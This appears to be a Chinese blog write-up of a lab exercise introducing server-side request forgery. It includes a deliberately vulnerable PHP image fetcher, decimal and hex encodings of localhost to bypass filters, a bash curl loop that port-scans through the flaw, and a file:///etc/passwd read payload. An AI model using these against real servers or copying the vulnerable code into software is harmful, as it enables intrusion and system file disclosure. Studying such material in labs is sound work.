OWASP TOP10 - SSRF

SSRF

This room aims at providing the basic introduction to Server Side request forgery vulnerability(SSRF).

0x01 简述

简单地说,SSRF是web应用程序中的一个漏洞,攻击者可以通过服务器进一步发出HTTP请求。攻击者可以利用此漏洞与服务器网络上通常受防火墙保护的任何内部服务进行通信。
现在,如果您关注上面的图表,在正常情况下,攻击者只能访问网站并查看网站数据。运行网站的服务器可以与内部GitLab或Postgres数据库通信,但用户不能,因为中间的防火墙只允许访问端口80(HTTP)和443(HTTPS),SSRF将使攻击者能够连接到Postgres并查看其数据,方法是首先连接到网站服务器,然后使用该服务器连接到数据库。Postgres会认为该网站正在从数据库中请求某些内容,但实际上,是攻击者利用网站中的SSRF漏洞获取数据。这个过程通常是这样的:攻击者在网站上发现SSRF漏洞。防火墙允许所有对网站的请求。然后,攻击者通过强制Web服务器从数据库请求数据,然后将数据返回给攻击者,从而利用SSRF漏洞进行攻击。因为请求来自Web服务器,而不是直接来自攻击者,所以防火墙允许该请求通过。
 

0x02 原理

该漏洞的主要原因是(通常是)盲目信任用户的输入。在SSRF漏洞的情况下,将要求用户输入URL(或者IP地址)。web应用程序将使用它来发出请求。当输入没有被正确检查或过滤时,就会产生SSRF。
让我们看看一些易受攻击的代码:
假设有一个应用程序获取图像的URL,然后web页面会为您显示该图像。易受攻击的SSRF代码如下所示:
<?php
 
if (isset($_GET['url']))
 
{
$url = $_GET['url'];
$image = fopen($url, 'rb');
header("Content-Type: image/png");
fpassthru($image);
 
}
这是一个简单的PHP代码,它检查是否有一个'url'参数中发送的信息,然后,不执行任何类型的检查,代码只是向用户提交的url发出请求。攻击者基本上完全控制URL,可以通过服务器向Internet上的任何网站发出任意GET请求,也可以访问服务器本身的资源。
 
绕过:我们通常要做的是将IP编码:以十进制格式或十六进制格式编码。
127.0.0.1可以用对应的十进制和十六进制替换IP来绕过限制。 本地主机IP的十进制版本为“ 2130706433”,十六进制版本为“ 0x7f000001”。
 

0x03 实验(扫描端口)

 
16进制编码绕过
 
bash端口扫描
for x in {1..65535};
do cmd=$(curl -so /dev/null http://10.10.115.201:8000/attack?url=http://2130706433:${x} \
        -w '%{size_download}');
 
if [ $cmd != 1045 ]; then
echo "Open port: $x"
fi
done
 

0x04 实验(文件读取)

文件读取file:///etc/passwd
 
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值